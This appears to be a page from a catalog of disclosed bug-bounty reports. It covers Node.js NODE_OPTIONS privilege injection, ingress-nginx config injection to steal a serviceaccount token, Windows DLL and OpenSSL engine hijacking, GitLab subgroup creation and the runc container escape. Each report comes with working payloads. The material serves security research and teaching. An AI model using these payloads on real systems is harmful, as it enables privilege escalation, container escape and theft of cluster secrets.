Specimen #2237545 · nodejs · none · 23 votes · resolved
Program nodejsSurface other

Root cause

Node.js ignores dangerous env vars (e.g. NODE_OPTIONS) when running with elevated privileges, with a single intended exception for CAP_NET_BIND_SERVICE; a bug applies that exception even when other capabilities are set, letting an unprivileged user inject options/code that inherit the process's elevated privileges.

Method

  1. Grant a Node binary file capabilities beyond CAP_NET_BIND_SERVICE (e.g. via setcap)
  2. As an unprivileged user, set an attacker-controlled env var (NODE_OPTIONS / --require) that Node should normally strip under privilege
  3. Because the exception is mis-applied, Node honors the env var and runs the injected code with the elevated capabilities
# unprivileged user, target node has extra caps set: NODE_OPTIONS='--require /tmp/evil.js' /path/to/privileged-node app.js

Insight — For any setuid/setcap interpreter, test whether privilege-sensitive env vars (LD_PRELOAD, NODE_OPTIONS, PYTHONSTARTUP, PERL5OPT) are actually stripped when running with capabilities and not just when running as root.

Real-world example

ingress-nginx config injection via ingress path -> steal controller serviceaccount token

◆ High
Specimen #1382919 · kubernetes · 2500 · 17 votes · resolved
Program kubernetesSurface cloudChain ingress-create RBAC -> nginx.conf injection -> read co

Root cause

A user who can only create/update Ingress objects controls the spec.rules.path value, which is written into the controller's nginx.conf; injecting nginx directives via the path breaks out of the location block and adds an alias to the pod's serviceaccount directory, exposing the ingress-nginx token (which can list secrets cluster-wide).

Method

  1. Have RBAC to create/update ingresses in any namespace (no secret access needed)
  2. Create an ingress whose path injects nginx config: closes the location and adds alias to /var/run/secrets/kubernetes.io/serviceaccount/
  3. Controller reloads nginx.conf with the injected alias
  4. Request https://<ingress-lb>/gaf/token to read the ingress-nginx serviceaccount token, then use it to list secrets in all namespaces
apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: gaf-ingress annotations: kubernetes.io/ingress.class: "nginx" spec: rules: - http: paths: - path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa pathType: Prefix backend: service: name: some-service port: {number: 5678} # then: curl https://<ingress-lb>/gaf/token

Insight — When low-priv input is templated into a config file (nginx.conf, haproxy, sshd_config), test for directive injection to break out of the intended block. In k8s, ingress-create is a common permission that this turns into cluster-admin via the controller's powerful serviceaccount.

Real-world example

DLL hijacking via untrusted search path (Node.js providers.dll)

◆ High
Specimen #1636566 · ibb · awarded · 17 votes · resolved
Program ibbSurface desktopTag supply-chain

Root cause

On Windows, node.exe (with OpenSSL config present) loads providers.dll using the insecure Windows DLL search order, so a malicious DLL planted in a writable/earlier directory executes in the process's context.

Method

  1. Determine which DLLs a binary loads by name without a full path (e.g. with Process Monitor: 'NAME NOT FOUND' for providers.dll across search paths).
  2. Trigger the load condition (here: OpenSSL installed or C:\Program Files\Common Files\SSL\openssl.cnf exists).
  3. Plant a malicious providers.dll in the current directory or an earlier search-order path; it runs on process start.
; openssl.cnf that points the provider load at an arbitrary DLL name [provider_sect] Providers = provider_sect ; place malicious providers.dll in cwd / writable PATH dir ; DllMain -> attacker code runs as the node process

Insight — Any native binary that loads a DLL by bare name is DLL-hijackable; enumerate with Process Monitor and check writable directories earlier in the search order. Doubles as a supply-chain vector: an npm package can ship a providers.dll that executes on install/run without touching JS.

Real-world example

GitLab import target_namespace creates subgroup under arbitrary group

◆ High
Specimen #301137 · gitlab · 750 · 14 votes · resolved
Program gitlabSurface web

Root cause

The GitHub-import flow auto-creates the supplied target_namespace if missing, without checking the caller may create groups there, so an attacker can create a sub-group under any existing group and become its owner.

Method

  1. Authorize GitHub import and start importing a repo
  2. Intercept POST /import/github and change target_namespace to victimGroup/sub
  3. GitLab creates the subgroup with you as owner -> project creation, member visibility, plan abuse under the parent group
POST /import/github HTTP/1.1 repo_id=115670444&target_namespace=secret-group/test&new_name=test

Insight — Any 'create if not exists' path that takes a hierarchical name is a privilege-escalation candidate: supply parent/child where you lack rights on the parent. Test namespace/path parameters that autovivify containers.

Real-world example

Container escape to host root via /proc/self/exe overwrite (runc, CVE-2019-5736)

◆ High
Specimen #495495 · ibb · awarded · 14 votes · resolved
Program ibbSurface cloudChain container process -> overwrite host runc via /proc/self/eTag cloud-aws

Root cause

When runc executes a process in a container, a malicious container image or exec target can overwrite the runc host binary through /proc/self/exe, so the next runc invocation runs attacker code as root on the host, escaping Docker/Kubernetes isolation.

Method

  1. Control a container process (malicious image or docker/kubectl exec into attacker-controlled container)
  2. Replace the container entrypoint with a symlink to /proc/self/exe and open it for writing to clobber the host runc binary
  3. On the next runc run/exec, the overwritten binary executes as root on the host
# canonical PoC: https://github.com/q3k/cve-2019-5736-poc # writeup: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Insight — Shared host binaries reachable from a container via /proc/self/exe are an escape primitive; treat any runc/container-runtime that isn't patched as a container->host-root risk. Patch runc and use read-only/ro-bind of the runtime binary as mitigation.

Real-world example

Arbitrary DLL load via attacker-controlled OpenSSL openssl.cnf engine

◆ High
Specimen #944735 · acronis · awarded · 11 votes · resolved
Program acronisSurface desktopChain user-creatable config path → openssl.cnf engine dynamic_pathTag file-upload

Root cause

A SYSTEM service links OpenSSL, which reads a config file (openssl.cnf) from a hardcoded/compile-time absolute path that does not exist and whose parent dirs any user can create under C:\. OpenSSL config supports loading engines via dynamic_path, so an attacker-created openssl.cnf points to an arbitrary DLL that OpenSSL loads into the SYSTEM process.

Method

  1. Use Process Monitor to find OpenSSL/config paths the service probes (e.g. leftover build path under C:\bs_hudson\...\ssl\openssl.cnf)
  2. Since C:\ is user-creatable, mkdir the full missing directory chain
  3. Write an openssl.cnf that registers an engine with dynamic_path set to your DLL
  4. Plant the DLL and restart the service (or reboot) to trigger engine load as SYSTEM
mkdir C:\bs_hudson\workspace\mod-openssl-fips-win\205\product\out\standard\vs_2013_release\OpenSSL\ssl # openssl.cnf: openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] woot = woot_section [woot_section] engine_id = woot dynamic_path = c:\\temp\\evil.dll init = 0

Insight — OpenSSL engine loading is a general native-code-exec primitive. Wherever an app reads an OpenSSL config from a writable/creatable path (or exposes an engine/driver path parameter), dynamic_path yields arbitrary DLL/.so execution in that process's context. Look for missing openssl.cnf probes and OPENSSL_CONF env influence.

§References & practice

  1. PortSwigger Web Security Academy — Access control labs (hands-on practice).
  2. All 88 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.